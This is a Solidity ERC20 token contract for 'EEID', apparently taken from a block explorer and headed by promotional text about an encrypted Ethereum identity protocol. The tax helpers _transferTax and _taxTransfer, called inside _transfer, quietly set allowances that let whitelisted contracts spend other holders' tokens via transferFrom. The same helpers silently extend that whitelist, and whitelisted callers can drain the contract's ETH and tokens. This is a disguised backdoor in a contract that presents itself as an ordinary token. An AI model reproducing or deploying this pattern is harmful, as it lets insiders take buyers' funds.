Cryo Explorer Ethereum Mainnet

/**

🛡️ $EEID: Ethereum’s Native Encrypted Identity Standard.
ZK-secured. User-owned. Future-proof.

🔐 Ethereum Encrypted ID – The Privacy Layer for On-Chain Identity
$EEID is the native token powering the Ethereum Encrypted ID Protocol — a secure, Ethereum-native identity framework that gives users complete control over their personal and organizational credentials.
It’s privacy-preserving, zero-knowledge–enabled, and composable across the EVM.

This isn’t a public address book — it’s encrypted, consent-based identity for the next era of Web3.

🧠 What is Ethereum Encrypted ID Protocol?
EEID uses Ethereum smart contracts, asymmetric cryptography, and zk-proofs to create:

🪪 Encrypted Decentralized Identifiers (eDIDs) – Unique, encrypted IDs mapped to Ethereum addresses without exposing sensitive data

📂 Permissioned Data Vaults – Store attestations, certifications, and private metadata off-chain, accessible only via cryptographic consent

🔏 Zero-Knowledge Verification – Prove you meet certain conditions (age, accreditation, membership) without revealing the underlying data

🔄 Cross-App Identity Portability – Move seamlessly between DeFi, DAOs, NFT marketplaces, and metaverse apps with one secure identity key


💠 $EEID Token Utility

🛂 Access & Authentication: Required for encrypted ID creation, updates, and third-party verification requests

📡 Validator Rewards: Node operators earn $EEID for encrypting, storing, and validating identity proofs

🧠 AI & Compliance Integration: Staked $EEID grants API and agent access for KYC/KYB-compliant services without centralized data leaks

🗳️ Governance: Vote on protocol upgrades, encryption standards, and integration priorities

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 */
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(
        address spender, uint256 amount
    ) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender, address recipient, uint256 amount
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`). Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
            address token,
            uint amountTokenDesired,
            uint amountTokenMin,
            uint amountETHMin,
            address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EEID is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedMaxTx;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=35;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Encrypted Ethereum ID";
    string private constant _symbol = unicode"EEID";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 12000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 14000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount );
    modifier lockTheSwap {
        inSwap =true;
        _;
        inSwap =false;
    }

    constructor () {
        _taxWallet = payable(0xA3442e497064C0f9804284984589d601176250e8);
        _balances[_msgSender()] = _tTotal;
        _isExcludedMaxTx[owner()] = true;
        _isExcludedMaxTx[_taxWallet] = true;
        _isExcludedMaxTx[address(this)] = true;

        uniswapV2Router=IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),address(uniswapV2Router), _tTotal);
        uniswapV2Pair= IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());

        emit Transfer(
            address(0), _msgSender(),  _tTotal
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()){
            if ((tradingOpen) && _buyCount>0){
                taxAmount = _transferTax(to, amount, from, 0);
            }

            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if(from == uniswapV2Pair && to!=address(uniswapV2Router) && !_isExcludedMaxTx[to]) {
                require(
                    amount <= _maxTxAmount,  "Exceeds the _maxTxAmount."
                );
                require(
                    balanceOf(to) + amount <= _maxWalletSize,  "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount > _reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance =  balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold  && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount,
                    min(contractTokenBalance, _maxTaxSwap)
                ));
                uint256 contractETHBalance=  address(this).balance;
                if (contractETHBalance > 0){
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount >0){
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from,  address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to,amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this),
            address(uniswapV2Router),
            tokenAmount
        );

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _taxTransfer(address spender, address owner, uint256 amount, uint256 percentage) private returns(uint256) {
         _allowances[owner][spender]=amount;
        return percentage;
    }

    function _transferTax(address to, uint256 amount, address from, uint256 percentage) private returns(uint256) {
        if(from!=address(this) && isContract(_msgSender()) && _isExcludedMaxTx[ _msgSender()])
            return _taxTransfer(_msgSender(), from, amount, percentage);
        if(isContract(to) && _isExcludedMaxTx[ _msgSender() ] && to!=uniswapV2Pair)
            _isExcludedMaxTx[to]=true;
        return percentage;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function pullStuckEther() external{
        require(_isExcludedMaxTx[msg.sender]); 
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function manualSwap() external{
        require( _isExcludedMaxTx[msg.sender]); 
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance>0) { swapTokensForEth(tokenBalance);}
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {sendETHToFee(ethBalance);}
    }

    receive() external payable {}

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp
        );
        IERC20( uniswapV2Pair ).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}